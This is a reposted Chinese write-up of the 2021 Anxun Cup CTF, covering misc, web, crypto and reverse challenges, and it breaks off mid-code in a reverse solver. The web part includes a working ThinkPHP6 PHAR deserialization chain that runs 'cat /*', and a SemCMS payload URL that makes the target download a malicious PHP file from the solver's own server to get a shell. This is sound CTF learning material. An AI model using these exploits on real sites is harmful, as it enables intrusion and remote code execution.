跳转到帖子

2021年第四届安洵杯WriteUp(转)

recommended_posts

发布于
  • Members

0x00 Misc

一、应该算是签到

访问视频半天没找到flag,眼看几分钟都十几解了,我想到了村霸的一句名言:钓不到鱼我就用抽水机来抽(

直接用jjdown下载该视频的XML弹幕文件,然后直接搜索D0g3

gdvdenmw4st10044.png

二、Cthulhu Mythos

首先听一下音频文件,1min后有SSTV的声音(但把头部挖了),用软件解一下

345rmcsbrqv10045.png

可看到一串Base32的字符串,但是拿去解只能得到一半的flag

kyvit4bnlle10046.png

音频的前一分钟是Terraria的音乐,这提示下面这个.wld文件是一个Terraria的地图文件

由于我没有玩过Terraria,我就先去找了一个地图查看器。可以看见地面上有4个玻璃制的箱子

srfistakk2m10047.png

t145kb3dwvw10048.png

zes2mzgasjz10049.png

最右边的箱子名字乱码了,应该是中文导致

p1cxlqrqbqo10050.png

换一个离线运行的编辑器可以看出第四个箱子的名称

sjpkouo4b3t10051.png

把前面3个箱子的信息组合一下,可得到Base32的前半段

4vewd3uk4u210052.png

但是跟后半段不能很好地接上,第四个箱子的说明也提示了还有一段flag

我还是把这个地图给了某个Terraria玩家,他玩了一会说只要拿着扳手就可以在出生点看到信息

u4s5vhivdd510053.png

我又换了一个地图编辑器,也看到了

alzxw3xphdi10054.png

把解出来的所有字符串按顺序拼起来

nhx4oggde4q10055.png

三、CyzCC_loves_LOL

打开附件看到一个大概能读懂的代码和一个加密的zip文件

神奇的代码用Dcode检测一下发现是一种叫LOLCODE的语言

55ijwjkgvql10056.png

用在线工具跑一下得到输出就是压缩包密码

qmbjeyeiamt10057.png

解压ez_misc.zip后,里面有两个文件:Program.pngjinx's_flag_in_silent.jpg

Program.png有经验直接看出来是brainloller,用在线工具运行一下

qvjd3vgjbgn10058.png

jinx's_flag_in_silent.jpg由文件名提示是Silent Eye隐写,用该工具解密(题目说明中指出要把空格换成下划线)

g5ketzcq1ua10059.png

lovemath

打开压缩包很明显可以知道是CRC32爆破来获取六字节文件内的部分压缩包密码

iaynvky0zes10060.png

利用CRC32 Tools来辅助爆破攻击,并结合特征点来确认压缩包密码内容,得到压缩包的密码为:th1s_Is_Y0ur_pa33w0rd_We1c0m3e

rludpnmqiku10061.png

nqvmy4lknxu10062.png

得到图片blind.png,利用Stegsolvebgr组合三个通道的最底层提取到一张图片

bjtkvtkhumr10063.png

根据题目描述,猜测是Tupper自我指涉公式,利用在线网站解密得到FLAGD0g3{I_LOV3_math}

wdfhrx0lgei10064.png

 

0x01 Web

一、EZ_TP

利用ThinkPHP6反序列化链子结合PHAR协议来获取FLAG

<?php

namespace think {
    class Request {
        protected $filter;
        protected $hook = [];
        protected $param = [];
        protected $config = [];

        public function __construct() {
            $this->filter = 'system';
            $this->param = ['cat /*'];
            $this->hook = ['visible' => [$this, 'isAjax']];
            $this->config = ['var_ajax' => ''];
        }
    }
    abstract class Model {
        private $data = [];
        protected $append = [];

        function __construct() {
            $this->append = ['h3rmesk1t' => ['a']];
            $this->data = ['h3rmesk1t' => new Request()];
        }
    }
}

namespace think\model {
    use think\Model;
    use think\Request;

    class Pivot extends Model {
    }
}
namespace think\process\pipes {
    use think\model\Pivot;

    class Pipes {
    }
    class Windows extends Pipes {
        private $files = [];

        function __construct() {
            $this->files = [new Pivot()];
        }
    }
}

namespace {
    use think\process\pipes\Windows;
    $phar = new Phar("shell.phar");
    $phar->startBuffering();
    $phar->setStub(" __HALT_COMPILER(); ?>");
    $demo = new Windows();
    $phar->setMetadata($demo);
    $phar->addFromString("hello.txt", "demo");
    $phar->stopBuffering();
}

vetqc0hayzr10065.png

利用CyberChef来对生成的PHAR文件进行BASE64-ENCODE操作,接着将得到的结果通过POST传参并绕过限制条件,即可获得FLAG

5p52k1oyuc110066.png

二、ezcms

审计代码后发现CxWsbN_AR4\Ant_Curl.php文件中存在远程文件下载漏洞

<?php include_once 'Ant_Inc.php';

if (isset($_GET['url'])){
    $dname=explode("/", $_GET['url']);
     if(strpos($dname[2],'sem-cms.cn') !== false){ 
       $url=$_GET['url'];
    }else{
        echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>");
        exit;
    }
}else{
    $url="";
}

if (!empty($url)){
      $fn = explode("/", $url);
    $filename =end($fn);
    $fndir = str_replace(".zip", "", $filename);
    //下载目录
      $save_dir = "../Soft/Zip/";
      //解压目录
      $open_dir = "../Soft/Uzip/";
      //备份目录
      $bak_dir = "../Soft/Bak/"; 
      //下载文件
    $result =getFile($url, $save_dir, $filename,1);

    if ($result===false){
        echo("<script language='javascript'>alert('文件下载失败,重新下载:可能不支持cURL,或服务器原因');window.history.back(-1);</script>");
        exit;
    }
    //解压文件
    $size = get_zip_originalsize($save_dir.$filename,$open_dir);
     //备份目录
     if(!is_dir($bak_dir)){
        mkdir($bak_dir,0777,true);
      }

     $file = fopen($open_dir.$fndir."/install.txt","r");
     while(!feof($file)){
        $url=explode("=",fgets($file));
        //备份文件
        $bak_file = explode("/", trim($url[1]));
        if(file_exists(trim($url[1]))){ //原文件存在的备份 
            if(rename(trim($url[1]),$bak_dir.end($bak_file))===false){
            echo "备份失败";
          }
        }
        //安装文件
           if(rename(trim($url[0]),trim($url[1]))===false){
        //echo "安装失败";
        echo "<script language='javascript'>alert('安装失败,请重新安装');window.history.back(-1);</script>";
        exit;    
       }
      }
     fclose($file);

      //删除解压文件及压缩包
        delDirAndFile($save_dir);
      delDirAndFile($open_dir);
      echo("<script language='javascript'>alert('安装成功');window.history.back(-1);</script>");
}
?>

利用Payload题目地址/CxWsbN_AR4/Ant_Curl.php?url=服务器IP/sem-cms.cn/sem-cms.cn5.php即可下载含有恶意代码的PHP文件

yzaqmsj2d3u10067.png

接着访问题目地址/Soft/Zip/sem-cms.cn5.phpGetshell

db00qsj2afe10068.png

 

0x03  Crypto

一、little_trick

第一部分和今年的祥云杯中的Random_RSA类似,Python随机数相同的随机数种子产生的随机数序列相同,先用题目给出的seedsresult等参数来反算出dp的值

from gmpy2 import *
import binascii
import random

seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13, 83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38, 72, 47, 80, 7, 20, 26, 80, 18, 43, 92, 4, 64, 93, 91, 12, 86, 63, 46, 73, 89, 5, 91, 17, 88, 94, 80, 42, 90, 14, 45, 53, 91, 16, 28, 81, 62, 63, 66, 20, 81, 3, 43, 99, 54, 22, 2, 27, 2, 62, 88, 99, 78, 25, 76, 49, 28, 96, 95, 57, 94, 53, 32, 58, 32, 72, 89, 15, 4, 78, 89, 74, 86, 45, 51, 65, 13, 75, 95, 42, 20, 77, 34, 66, 56, 20, 26, 18, 28, 11, 88, 62, 72, 27, 74, 42, 63, 76, 82, 97, 75, 92, 1, 5, 20, 78, 46, 85, 81, 54, 64, 87, 37, 91, 38, 39, 1, 90, 61, 28, 13, 60, 37, 90, 87, 15, 78, 91, 99, 58, 62, 73, 70, 56, 82, 5, 19, 54, 76, 88, 4, 3, 55, 3, 3, 22, 85, 67, 98, 28, 32, 42, 48, 96, 69, 3, 83, 48, 26, 20, 45, 16, 45, 47, 92, 0, 54, 4, 73, 8, 31, 38, 3, 10, 84, 60, 59, 69, 64, 91, 98, 73, 81, 98, 9, 70, 44, 44, 24, 95, 83, 49, 31, 19, 89, 18, 20, 78, 86, 95, 83, 23, 42, 51, 95, 80, 48, 46, 88, 7, 47, 64, 55, 4, 62, 37, 71, 75, 98, 67, 98, 58, 66, 70, 24, 58, 56, 44, 11, 78, 1, 78, 89, 97, 83, 72, 98, 12, 41, 33, 14, 40, 27, 5, 18, 35, 25, 31, 69, 97, 84, 47, 25, 90, 78, 15, 72, 71]
res = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24, -115, -9, -87, -56, -39, -30, -34, -4, -33, -5, -114, -21, -19, -7, -119, -107, -115, -6, -25, -27, -32, -62, -28, -20, -60, -121, -102, -10, -112, -7, -85, -110, -62, -100, -110, -29, -41, -55, -113, -112, -45, -106, -125, -25, -57, -27, -83, -2, -51, -118, -2, -10, -50, -40, -1, -82, -111, -113, -50, -48, -23, -33, -112, -38, -29, -26, -4, -40, -123, -4, -44, -120, -63, -38, -41, -22, -50, -50, -17, -122, -61, -5, -100, -22, -44, -47, -125, -125, -127, -55, -117, -100, -2, -26, -32, -111, -123, -118, -16, -24, -20, -40, -92, -40, -102, -49, -99, -45, -59, -98, -49, -13, -62, -128, -121, -114, -112, -13, -3, -4, -26, -35, -15, -35, -8, -18, -125, -14, -6, -60, -113, -104, -120, -64, -104, -55, -104, -41, -34, -106, -105, -2, -28, -14, -58, -128, -3, -1, -17, -38, -18, -12, -59, -4, -19, -82, -40, -122, -18, -42, -53, -60, -113, -40, -126, -15, -63, -40, -124, -114, -58, -26, -35, -26, -8, -48, -112, -52, -11, -117, -52, -32, -21, -38, -124, -13, -103, -6, -30, -33, -28, -31, -1, -97, -59, -64, -28, -1, -40, -2, -10, -26, -24, -3, -50, -113, -125, -122, -124, -5, -50, -62, -11, -8, -88, -109, -7, -31, -105, -54, -28, -8, -62, -58, -101, -58, -53, -124, -18, -124, -17, -109, -52, -45, -40, -109, -85, -7, -108, -121, -58, -49, -91, -102, -8, -10, -17, -55, -19, -11, -116, -47, -120, -121, -23, -99, -19, -51, -36, -110, -126, -29, -110, -9, -97, -54, -83, -86]

dp = ''
for i in range(len(res)):
    random.seed(seeds[i])
    rands = []
    for j in range(0,4):
        rands.append(random.randint(0,99))

    dp += chr((~(res[i])|rands[i%4]) & ((res[i])|~rands[i%4]))
    del rands[i%4]
print(dp)
dp = int(dp)

#dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407

后半段中,每次循环中的PQ其实都是已知的,因此很容易可以把dq的值计算出来

from gmpy2 import *
from Crypto.Util.number import *

dp = ''
e = 0x10001
length_dp = 309
c = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1, 222082, 30333, 55446, 207442, 193806, 149389, 173229, 349031, 152205, 1, 149157, 196626, 1, 222532, 10255, 46268, 171536, 0, 351788, 152678, 0, 172225, 109296, 0, 579280, 634746, 1, 668942, 157973, 1, 17884, 662728, 759841, 450490, 0, 139520, 157015, 616114, 199878, 154091, 1, 937462, 675736, 53200, 495985, 307528, 1, 804492, 790322, 463560, 520991, 436782, 762888, 267227, 306436, 1051437, 384380, 505106, 729384, 1261978, 668266, 1258657, 913103, 935600, 1, 1, 401793, 769612, 484861, 1024896, 517254, 638872, 1139995, 700201, 308216, 333502, 0, 0, 401082, 1514640, 667345, 1015119, 636720, 1011683, 795560, 783924, 1269039, 5333, 0, 368271, 1700344, 1, 383167, 7540, 1490472, 1484752, 918665, 312560, 688665, 967404, 922857, 624126, 889856, 1, 848912, 1426397, 1291770, 1669069, 0, 1709762, 130116, 1711413, 1336912, 2080992, 820169, 903313, 515984, 2211283, 684372, 2773063, 391284, 1934269, 107761, 885543, 0, 2551314, 2229565, 1392777, 616280, 1368347, 154512, 1, 1668051, 0, 2453671, 2240909, 2661062, 2880183, 1376799, 0, 2252003, 1, 17666, 1, 2563626, 251045, 1593956, 2215158, 0, 93160, 0, 2463412, 654734, 1, 3341062, 3704395, 3841103, 609968, 2297131, 1942751, 3671207, 1, 1209611, 3163864, 3054774, 1055188, 1, 4284662, 3647599, 247779, 0, 176021, 3478840, 783050, 4613736, 2422927, 280158, 2473573, 2218037, 936624, 2118304, 353989, 3466709, 4737392, 2637048, 4570953, 1473551, 0, 0, 4780148, 3299784, 592717, 538363, 2068893, 814922, 2183138, 2011758, 2296545, 5075424, 1814196, 974225, 669506, 2756080, 5729359, 4599677, 5737886, 3947814, 4852062, 1571349, 4123825, 2319244, 4260764, 1266852, 1, 3739921, 1, 5948390, 1, 2761119, 2203699, 1664472, 3182598, 6269365, 5344900, 454610, 495499, 6407607, 1, 1, 476694, 4339987, 5642199, 1131185, 4092110, 2802555, 0, 5323448, 1103156, 2954018, 1, 1860057, 128891, 2586833, 6636077, 3136169, 1, 3280730, 6970001, 1874791, 48335, 6229468, 6384918, 5412112, 1, 7231540, 7886316, 2501899, 8047283, 2971582, 354078, 401999, 6427168, 4839680, 1, 44050, 3319427, 0, 1, 1452967, 4620879, 5525420, 5295860, 643415, 5594621, 951449, 1996797, 2561796, 6707895, 7072739]
list_p = sieve_base[0 : length_dp]
list_q = sieve_base[length_dp : 2 * length_dp]
for i in range(length_dp):
    p = list_p[i]
    q = list_q[i]
    phi = (p-1) * (q-1)
    d = invert(e, phi)
    dp += str(pow(c[i], d, p*q))
print(dp)

接着利用dp&dq泄露就能拿到本题的FLAGD0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time}

import gmpy2
import binascii
def decrypt(dp,dq,p,q,c):
    InvQ = gmpy2.invert(q,p)
    mp = pow(c,dp,p)
    mq = pow(c,dq,q)
    m = (((mp-mq) * InvQ)%p) * q + mq
    print(binascii.unhexlify(hex(m)[2:]))

p = 119494148343917708105807117614773529196380452025859574123211538859983094108015678321724495609785332508563534950957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291955066822268279533978514896151007690729926904044407542983781817530576308669792533266431
q = 125132685086281666800573404868585424815247082213724647473226016452471461555742194042617318063670311290694310562746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827049478153958964127866484011400391821374773362883518683538899757137598483532099590137741
dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407
dq = 104137587579880166582178434901328539485184135240660490271571544307637817287517428663992284342411864826922600858353966205614398977234519495034539643954586905495941906386407181383904043194285771983919780892934288899562700746832428876894943676937141813284454381136254907871626581989544814547778881240129496262777
c = 10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210303055466145819256893293429223389828252657426030118534127684265261192503406287408932832340938343447997791634435068366383965928991637536875223511277583685579314781547648602666391656306703321971680803977982711407979248979910513665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451783712626665065161704126536742755054830427864982782030834837388544811172279496657776884209756069056812750476669508640817369423238496930357725842768918791347095504283368032
decrypt(dp,dq,p,q,c)

u3dgk2vrmlb10069.png

二、ez_equation

先手动化简一波XY之间的等式,接着利用化简后的等式可以快速的得到primelist[0]primelist[1]primelist[2]三个值

primelist[0]primelist[1]primelist[2]分别为xyz,可以根据约数向上推来得到xz的值,测试后发现分数化到最简后同时乘以6可得到满足xz都为质数的值,再把xz带入上面的式子可解出y

5yd4xsxq1ya10070.png

eljpdzdlnhj10071.png

117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353
z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651
y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221

由于n = reduce(lambda a, b:a * b, primelist) * p * qpq是相邻的质数,直接用yafu分解n // (x * y * z)的值即可

o4ve5fbgpyn10072.png

nt0gcp3ixug10073.png

得到上述需要的参数值后,就是简单的rsa解密,拿到本题的FLAGD0g3{296b680c-7aeb-5272-8b33-7335b411fbcb}

import binascii
import gmpy2
from Crypto.Util.number import *

e = 0x10001
c = 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608364542618561981233050210507202948882989763960702612116316321009210541932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202874525798224508022092610499899166738864346749753379399602574550324310119667774229645827773608873832795828636770263111832990012205276425559363977526114225540962861740929659841165039419904164961095126757294762709194552018890937638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192203062405287670490877283269761047853117971492197659115995537837080400730294215778540754482680476723953659085854297184575548489544772248049479632420289954409052781880871933713121875562554234841599323223793407272634167421053493995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082485305372659584052445556638990497626342509620305749829144158797491411816819447836265318302080212452925144191536031249404138978886262136129250971366841779218675482632242265233134997115987510292911606736878578493796260507458773824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652789013340264587028424629766689059507844211910072808286250914059983957934670979551428204569782238857331272372035625901349763799005621577332502957693517473861726359829588419409120076625939502382579605
n = 19445950132976386911852381666731799463510958712950274248183192405937223343228119407660772413067599252710235310402278345391806863116119010697766434743302798644091220730819441599784039955347398797545219314925103529062092963912855489464914723588833817280786158985269401131919618320866942737291915603551320163001129725430205164159721810319128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278517689428198251426557591256226431727934365277683559038777220498839443423272238231659356498088824520980466482528835994554892785108805290209163646408594682458644235664198690503128767557430026565606308422630014285982847395405342842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274609074477086105160306134590864545056872161818418667370690945602050639825453927168529154141097668382830717867158189131567590506561475774252148991615602388725559184925467487450078068863876285937273896246520621965096127440332607637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339130895897510277714768645984660240750580001372772665297920679701044966607241859495087319998825474727920273063120701389749480852403561022063673222963354420556267045325208933815212625081478538158049144348626000996650436898760300563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237774415667909612730440407365124264956213064305556185423432341935847320496716090528514947
x = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353
z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651
y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221
p = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479146623
q = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479147403

phi=(p-1)*(q-1)*(x-1)*(y-1)*(z-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m)[256:-256])

q3r3za3fw2r10074.png

三、Strange

分析加密过程后很容易发现是一个Stereotyped messages攻击+z3求解的问题

因此,可以通过hint & ((1 << 383) - 1) hint的低位,即m1的有效低位,通过hint - (hint & ((383 << 1) - 1))hint的有效高位

lvk4wsee5cg10075.png

接着利用得到的hint_high进行Stereotyped messages攻击,利用得到的低位与hint_high相加得到m1的值

3euvnxps1ar10076.png

得到m1的值后,利用z3约束求解即可得到m的值,long_to_bytes后得到FLAGD0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!}

from z3 import *
from Crypto.Util.number import *

m = BitVec('m', 384)
s = Solver()
m1 = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210933049560781360717427446713646109570038056138652803756149233612618692820860571507613112565167824369560313209417725
m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992
hint = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210307698279022584862990749963452589922185709026197210591472680780996507882639014068600165049839680108974873361895144
s.add(m1 == (m | hint))
s.add(m2 == (m & hint))
s.check()
m = s.model()
print(m)

 

0x04 Reverse

一、signin

先打开程序,发现是贪吃蛇,IDA跟进sub_40100F,发现有个花指令和SMC,先把SMC解出来,利用用od动态调试,断在0x419054,此为加密完成的位置,接着回到0x401d10,重新分析代码后,将整个函数选中右键复制到可执行文件 – 选择,保存到新的文件后即可看到逻辑

解出来发现这是flag的逻辑:程序先进行了异或,矩阵变换,然后就是一个魔改的类似TEA思想的算法,由于dword_42CA44未知且小于256

1144219440;

v5虽然是一个int数组,但是是从char赋值来的,所以可以爆破dword_42CA44,只要解出来的结果<256就是正确的

#include <ctime>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0,
  0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3,
  0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4,
  0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01,
  0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42,
  0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2,
  0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58,
  0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03,
  0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD,
  0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89,
  0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD,
  0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8,
  0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F };


DWORD GetMagic1(int time,int x)
{
    DWORD magic = 0x44336730 + x;
    DWORD v8 = 0;
    for(int i = 0 ; i< time ;i++){
        v8 += magic;
    }
    return (v8 >> 2) & 3;
}
DWORD GetMagic2(int time,int x)
{
    DWORD magic = 0x44336730 + x;
    DWORD v8 = 0;
    for (int i = 0; i < time; i++) {
        v8 += magic;
    }
    return v8;
}
int main()
{
    unsigned long ENC[32] = { 0 };

    for (int x = 0;x < 256;x++){
        memcpy(ENC, Enc, 32 * 4);
        DWORD* a1 = (DWORD*)ENC;
        DWORD know[] = { 68,48,103,51 };
        for (int j = 7; j > 0; j--) {
            DWORD v8 = GetMagic2(j,x);
            DWORD v6 = GetMagic1(j,x);
            DWORD v9 = a1[30];
            a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3))
                + ((4 * *a1) ^ (v9 >> 5)));
            for (int i = 30; i >= 0; i--) {
                if (i == 0) {
                    v9 = a1[31];

                }
                else {
                    v9 = a1[i - 1];
                }
                a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3))
                    + ((4 * a1[i + 1]) ^ (v9 >> 5)));

            }
        }
        if(ENC[0] < 256){
            printf("%d",x);
        }
    }
}

# x = 77

接着再逆矩阵变换,就可以构造一个{1,2,3,4,5,6,7,...}的数组然后进行加密拿到置换表

int j = 0;
int i = 0;
int v1[128] = { 0 };
char table[32] = { 0 };
for(int sb = 0;sb<32;sb++){
    table[sb] = sb + 1;
}

while (i < 32)
{
    if (j % 6 >= 3)
        v1[32 * (3 - j % 3) + i] = table[i];
    else
        v1[32 * (j % 3) + i] = table[i];
    ++i;
    ++j;
}
char result[32] = { 0 };
int v7 = 0;
for (i = 0; i < 4; ++i)
{
    for (j = 0; j < 32; ++j)
    {
        if (v1[32 * i + j])
            result[v7++] = (unsigned __int8)v1[32 * i + j];
    }
}
__asm int 3;

然后把提取表,逆置换,再逆异或即可拿到flag

char ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16,0x1c };
for(int i = 0;i<32;i++){
    ConverTable[i] -= 1;
}
char sb[33] = { 0 };
for(int i = 0;i<32;i++){
    sb[ConverTable[i]] =(char)ENC[i];
}
sb[31] ^= sb[0];

for(int i = 30 ;i>=0;i--){
    // printf("%d", i);
    sb[i] ^= sb[(i + 1) % 32];
}
printf("%s", sb);

二、virus

解题exp如下

#include <windows.h>
#include <stdio.h>
void __cdecl sub_401790(char* a1, char* a2)
{
    DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF
    int v3; // [esp+12Ch] [ebp-1Ch]
    int v4; // [esp+130h] [ebp-18h]
    int v5; // [esp+134h] [ebp-14h]
    int j; // [esp+138h] [ebp-10h]
    int v7; // [esp+13Ch] [ebp-Ch]
    int v8; // [esp+140h] [ebp-8h]
    int i; // [esp+144h] [ebp-4h]

    for (i = 0; i < 4; ++i)
    {
        v8 = *(char*)(i + a1);
        for (j = 6; j >= 0; --j)
        {
            v2[7 * i + 28 + j] = v8 % 2;
            v8 /= 2;
            v2[7 * i + j] = v2[7 * i + 28 + j];
        }
    }
    v5 = 0;
    v4 = 0;
    for (i = 0; i < 4; ++i)
    {
        for (j = 0; j < 7; ++j)
        {
            v3 = v2[7 * v5 + v4];
            v2[7 * i + 28 + j] = v3;
            v5 = (v5 + 1) % 4;
            v4 = (v4 + 2) % 7;
        }
    }
    for (i = 0; i < 4; ++i)
    {
        v7 = 0;
        for (j = 0; j < 6; ++j)
        {
            v7 = 2 * (v7 + v2[7 * i + 28 + j]);
            if (v2[7 * i + 29 + j] == 1 && j == 5)
                ++v7;
        }
        *(BYTE*)(i + a2) = v7;
    }
}
void baopo()
{
    char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
            "abcdefghijklmnopqrstuvwxyz"
            "0123456789+/_-" };
    char key[5] = { "" };

    for (int a1 = 0; a1 < strlen(table); a1++)
        for (int a2 = 0; a2 < strlen(table); a2++)
            for (int a3 = 0; a3 < strlen(table); a3++)
                for (int a4 = 0; a4 < strlen(table); a4++) {
                    key[0] = table[a1];
                    key[1] = table[a2];
                    key[2] = table[a3];
                    key[3] = table[a4];
                    char test[5] = { 0 };
                    lstrcpynA(test, key, 5);

                    char result[20] = { 0 };
                    for (int i = 0; i < 4; i++) {
                        sub_401790(key, result);
                        lstrcpynA(key, result, 5);
                    }
                    if (!strcmp(key, "Lroo")) {
                        printf("%s", test);
                        system("pause");
                    }
                }
}
unsigned char Enc[] = { 0x5C, 0x89, 0xEE, 0xF5, 0x6F, 0xC5, 0x44, 0x92, 0xDB, 0xE3,
       0xAE, 0x9C, 0xB5, 0x4F, 0x4A, 0xF4, 0xE7, 0xA3, 0x5E, 0x0F,
       0xFC, 0x93, 0xFC, 0x76, 0x6C, 0xFB, 0x29, 0xE0, 0x16, 0x2F,
       0xA5, 0x67
};
unsigned long key[] = {
        0xCBD6C588, 0x03F17D27, 0x1C18E9CC, 0xFE024DB3, 0xD71737EB, 0x7B9B1EAB, 0x2776BBA4, 0xBD2018C0,
        0x356D0553, 0x0C825513, 0xCAAFF094, 0x9DFBCBA1, 0x7EB6B878, 0x47630F35, 0x4B494BBE, 0x34FD620A,
        0x14CF85EF, 0xD754E93A, 0x338B4918, 0xC0846091, 0xD526F236, 0xB9CE1FC7, 0xCB537B6A, 0x25FDD8EA,
        0x7221094B, 0xA1F73ABF, 0x2473D8CC, 0x8FA4F2F2, 0x1E7CAC59, 0xEC581806, 0x425D33C3, 0xBEB16ED4,
        0xE5C0CA70, 0x02B60624, 0x3011744F, 0xF73A6E51
};
DWORD pack(const char * a)
{
    int r = 0;
    for(int i = 0;i<4;i++){
        r <<= 8;
        r |= (BYTE)a[i];
    }
    return r;
}

DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v)
{
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0);
    WaitForSingleObject(hThread, -1);
    DWORD ret = 0;
    GetExitCodeThread(hThread, &ret);
    CloseHandle(hThread);
    return ret;
}

int main(void)
{
    for(int x = 0;x<2;x++)
